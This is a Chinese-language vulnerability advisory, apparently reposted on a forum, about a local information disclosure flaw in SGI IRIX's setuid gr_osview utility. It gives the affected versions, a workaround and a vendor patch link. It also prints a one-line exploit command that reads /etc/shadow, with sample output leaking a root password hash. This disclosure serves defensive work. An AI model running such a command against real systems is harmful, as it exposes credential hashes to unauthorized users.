涉及程序：
SGI IRIX系统程序
描述：
SGI IRIX gr_osview本地信息泄露漏洞
详细：
IRIX是一款由SGI公司开发和维护的商业性质UNIX操作系统。
攻击者可以本地利用IRIX操作系统中捆绑的gr_osview命令中存在的信息泄漏漏洞获取敏感信息，如root用户的口令哈希。
漏洞的起因是gr_osview未经丢弃权限就打开了用户定义的描述文件。如果同debug选项一同使用的话，就可能临时存储任意文件中的某行，无论其保护机制如何，如下所示：
user@irix$ gr_osview -d -D /etc/shadows
gets: waiting for string
*SR> read <root:PASSWDHASHHERE:2051::::::>
gr_osview: description file format error on line 1
<*来源：iDEFENSE
SGI
链接：ftp://patches.sgi.com/support/free/security/advisories/20050402-01-P.asc
http://www.idefense.com/application/poi/display?id=226&type=vulnerabilities
*>
受影响系统：
SGI IRIX 6.5.27
SGI IRIX 6.5.26
SGI IRIX 6.5.25
SGI IRIX 6.5.24
SGI IRIX 6.5.23
SGI IRIX 6.5.22
网管论坛bbs_bitsCN_com SGI IRIX 6.5.21 m
SGI IRIX 6.5.21 f
攻击方法：
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
gr_osview -d -D /etc/shadow
解决方案：
临时解决方法：
如果您不能立刻安装补丁或者升级，CNNS建议您采取以下措施以降低威胁：
* 仅允许可信任的用户本地访问关键系统，或如下删除setuid位：
chmod u-s /usr/sbin/gr_osview
厂商补丁：
SGI
---
SGI已经为此发布了一个安全公告（20050402-01-P）以及相应补丁:
20050402-01-P：gr_osview vulnerabilities
链接：ftp://patches.sgi.com/support/free/security/advisories/20050402-01-P.asc
评论加载中…
